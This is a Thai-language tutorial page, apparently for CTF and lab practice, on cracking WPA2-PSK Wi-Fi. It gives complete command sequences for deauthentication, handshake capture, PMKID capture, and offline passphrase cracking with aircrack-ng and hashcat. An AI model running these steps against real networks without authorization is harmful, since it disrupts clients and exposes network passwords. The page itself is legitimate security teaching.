WPA2
WPA2 เป็นมาตรฐานความปลอดภัย Wi-Fi ที่ใช้กันแพร่หลายที่สุด การโจมตี WPA2-PSK ในห้องแล็บ/CTF อาศัยการจับ 4-way handshake หรือ PMKID แล้ว crack offline เพื่อหา passphrase บทนี้อธิบายกลไก 4-way handshake, การโจมตีทั้งสองแบบ, และการ crack (เนื้อหาเพื่อทดสอบในเครือข่ายที่ได้รับอนุญาตเท่านั้น)
1. WPA2-PSK และ 4-way handshake
WPA2-PSK ยืนยันตัวตนด้วย Pre-Shared Key (รหัส Wi-Fi) ผ่านกระบวนการ 4-way handshake ที่แลกเปลี่ยน nonce และพิสูจน์ว่าทั้งสองฝ่ายรู้ PSK โดยไม่ส่งรหัสตรงๆ จุดสำคัญ: handshake มีข้อมูลพอให้ crack offline ได้ — ถ้าจับ handshake มาได้ ก็ลองเดา passphrase นอกเครือข่ายจนกว่าจะตรง
2. จับ handshake (วิธีคลาสสิก)
# เปิด monitor mode
sudo airmon-ng start wlan0 # ได้ wlan0mon
sudo airmon-ng check kill # ปิด process ที่รบกวน
# สแกนหาเป้าหมาย (BSSID, channel)
sudo airodump-ng wlan0mon
# จับ handshake ของ AP เป้าหมาย (ระบุ channel + BSSID)
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# (อีก terminal) deauth เพื่อบังคับ client reconnect → เกิด handshake
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# รอจน airodump แสดง "WPA handshake: AA:BB:..." มุมขวาบน3. PMKID attack (ไม่ต้องมี client)
PMKID attack (clientless) ดึง PMKID จาก AP โดยตรงโดยไม่ต้องรอ client เชื่อมต่อ — AP บางรุ่นส่ง PMKID ใน frame แรก ทำให้ crack ได้โดยไม่ต้อง deauth/รอ handshake สะดวกกว่าเมื่อไม่มี client active
# จับ PMKID/handshake (รูปแบบใหม่ใช้กับ hashcat ได้ตรง)
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
# แปลงเป็น hash format ของ hashcat (mode 22000)
hcxpcapngtool -o hash.22000 capture.pcapng
# hash.22000 ใช้ crack ได้ทั้ง PMKID และ handshake4. Crack passphrase (offline)
# aircrack-ng (ใช้ .cap จากวิธีคลาสสิก)
aircrack-ng -w rockyou.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
# hashcat (mode 22000 — เร็วกว่ามากด้วย GPU)
hashcat -m 22000 hash.22000 rockyou.txt
# กับ rule
hashcat -m 22000 hash.22000 rockyou.txt -r best64.rule
# brute mask (เช่น 8 หลักตัวเลข)
hashcat -m 22000 hash.22000 -a 3 ?d?d?d?d?d?d?d?d5. Quick Reference
- WPA2-PSK: จับ 4-way handshake หรือ PMKID → crack offline
- monitor: airmon-ng start wlan0; airodump-ng หาเป้า
- จับ: airodump-ng -c CH --bssid BSSID -w cap + aireplay deauth
- PMKID (ไม่ต้องมี client): hcxdumptool → hcxpcapngtool -o hash.22000
- crack: aircrack-ng -w wordlist .cap / hashcat -m 22000
- เฉพาะเครือข่ายที่ได้รับอนุญาต (CTF/lab/pentest)
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติโจทย์บอกว่า AP เป้าหมายเป็น WPA2 มีแค่เครื่อง Kali + wireless adapter — ทำตามนี้ทีละขั้น ตั้งแต่สแกนหาเป้าหมาย จนได้ passphrase ออกมา
- 1เปิด monitor mode:
sudo airmon-ng check kill && sudo airmon-ng start wlan0 - 2สแกนหาเป้าหมาย:
sudo airodump-ng wlan0mon— จด BSSID, CH ของ AP ที่โจทย์ระบุ - 3ดูคอลัมน์ STATION ด้านล่าง — มี client (MAC) เชื่อมต่อ AP นี้อยู่ไหม
- 4ถ้ามี client: จับด้วย
sudo airodump-ng -c CH --bssid BSSID -w cap wlan0monแล้วยิง deauth อีก terminal:sudo aireplay-ng --deauth 5 -a BSSID wlan0mon - 5ถ้าไม่มี client เลย: ลอง PMKID แทน
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1 - 6แปลงผลที่ได้เป็น hashcat format:
hcxpcapngtool -o hash.22000 capture.pcapng - 7เช็คว่า hash.22000 มีข้อมูลจริง:
cat hash.22000— ควรเห็นบรรทัด WPA*01* หรือ WPA*02* - 8crack:
hashcat -m 22000 hash.22000 rockyou.txt(หรือaircrack-ng -w rockyou.txt -b BSSID cap-01.cap) - 9ถ้ายังไม่เจอ ไปต่อที่ Hashcat Workflow เพื่อลอง rule/mask
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| เปิด monitor mode + สแกน | airmon-ng, airodump-ng | - | - |
| deauth บังคับ reconnect | aireplay-ng | - | - |
| PMKID (clientless) | - | apt install hcxtools hcxdumptool | - |
| แปลงเป็น hashcat format | - | apt install hcxtools | - |
| crack ด้วย wordlist | aircrack-ng, hashcat | - | weakpass.com (wordlist ใหญ่) |
| เช็คว่าเคยมีคน crack SSID นี้แล้ว | - | - | wpa-sec.stanev.org |
| ดู EAPOL/PMKID frame ละเอียด | wireshark | - | cyberchef.org |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้